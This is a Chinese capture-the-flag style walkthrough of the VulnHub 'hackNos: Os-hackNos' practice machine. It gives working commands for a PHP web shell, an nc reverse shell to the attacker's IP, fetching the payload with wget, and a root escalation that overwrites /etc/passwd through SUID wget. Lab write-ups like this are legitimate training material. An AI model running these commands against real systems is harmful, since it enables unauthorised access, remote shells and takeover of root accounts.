靶机练习-hackNos: Os-hackNos
2023-5-11 00:52:29 Author: 白帽子(查看原文) 阅读量:13 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

靶机简介

Name: hackNos: Os-hackNos
Difficulty : Easy to Intermediate
Flag : 2 Flag first user And second root
Learning : exploit | Web Application | Enumeration | Privilege Escalation

靶机下载地址:
https://www.vulnhub.com/entry/hacknos-os-hacknos,401/

实验环境

攻击机:kali 192.168.11.143
靶机:Linux IP自动获取
攻击机与靶机都使用net网络连接,在同一网段下

渗透测试步骤

1、确定靶机的IP

netdiscover -i eth0 -r 192.168.11.0/24
使用kali里面自带的工具netdiscover扫描目标网段内的存活主机(当然也可以用nmap、masscan等工具)-i指定网卡-r指定目标网段

2、对目标进行端口扫描

nmap -sV -Pn -sS 192.168.11.156

发现开启了22和80端口

3、访问目标的80端口,发现是一个默认页面

4、扫描网站目录

gobuster dir -u http://192.168.11.156/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
# gobuster是一款爆破目录的工具,也可以使用其他爆破目录的工具-u 指定目标网站-w 指定字典

5、访问该目录,通过wappalyzer插件发现是一个drupal的cms,版本是7

6、去github搜索drupal 7的相关漏洞利用工具,挑选一个用来尝试进行攻击(这里使用的是第二个)

7、攻击成功,可以远程执行命令

8、在kali上新建一个一句话木马文件payload.php,然后使用python开启一个http服务,然后利用命令执行下载到目标机:

<?php system($_POST['test']);?>
python -m SimpleHTTPServer # 默认开启8000端口
wget http://192.168.11.143:8000/payload.php

访问一句话木马,连接成功

9、反弹shell

nc -lvp 2333      # 在kali上开启nc监听
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.11.143 2333 >/tmp/f# nc反弹的指令,作为参数传给目标服务器,需要进行特殊字符URL编码(注意修改IP和端口为kali的IP和监听端口)

10、获取标准shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

11、查看/etc/passwd文件,看有哪些用户,发现存在用户james,查看该用户家目录下的文件,发现存在user.txt文件,读取文件得到第一个flag:
MD5-HASH : bae11ce4f67af91fa58576c1da2aad4b

尝试直接访问 /root目录发现没有权限,尝试寻找可疑文件,从当前目录开始往父目录找

12、在网站根目录发现可疑文件alexander.txt,内容为:

一看就是用base64加密了,解密得:

得到的还是加密的字符,看不出是什么加密,直接复制一部分去百度搜索 ,得到解密的网址:https://www.splitbrain.org/services/ook

这应该是账号和密码:james:[email protected]

13、尝试切换到james用户,发现不成功,想到开放了22端口,尝试用ssh连接发现也不行,于是决定进行提权,首先尝试suid提权,发现wget拥有suid权限

find / -perm -u=s -type f 2>/dev/null
# 查找拥有suid权限的文件

14、既然wget命令拥有suid权限,那么可以利用wget命令从kali下载文件替换原来的文件,这里选择替换 /etc/passwd 文件,具体操作如下:
1)在kali新建一个 passwd 文件,将目标机passwd文件的内容复制到该文件中
2)在新建的passwd文件中添加一个条目(复制root用户的条目,然后修改用户名和密码即可),用户名为test,密码为123456,但是密码不能是明文,要用openssl进行加密:

openssl passwd -1 -salt test 123456
-1表示用md5加密-salt表示加盐

15、利用wget下载该passwd文件替换目标机上原来的/etc/passwd文件

wget http://192.168.11.143:8000/passwd -O /etc/passwd

可以发现成功替换

16、切换用户到test,发现已经是root权限了

17、最后在 /root 目录下得到另一个flag

总结

主要通过如下操作拿到root权限:

1、信息收集,包括主机发现、端口扫描、目录扫描等;
2、框架漏洞利用,发现开了80端口,访问相应目录后发现是drupal框架,先获取具体的版本,然后寻找该版本出现过的漏洞,获取exp后进行攻击;
3、上传一句话木马、反弹shell;
4、利用suid提权,发现wget拥有suid权限,可以尝试下载替换原有的文件,这里是替换了/etc/passwd文件,让我拥有了一个root权限的用户。

安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246686&idx=1&sn=c310cc70daca56f3d24d5d46f1f49365&chksm=82ea55b7b59ddca15c07485825d3875605ce0e0277aa1ebad5b4da127c5aaca7818ad6ddf9fe#rd
如有侵权请联系:admin#unsafe.sh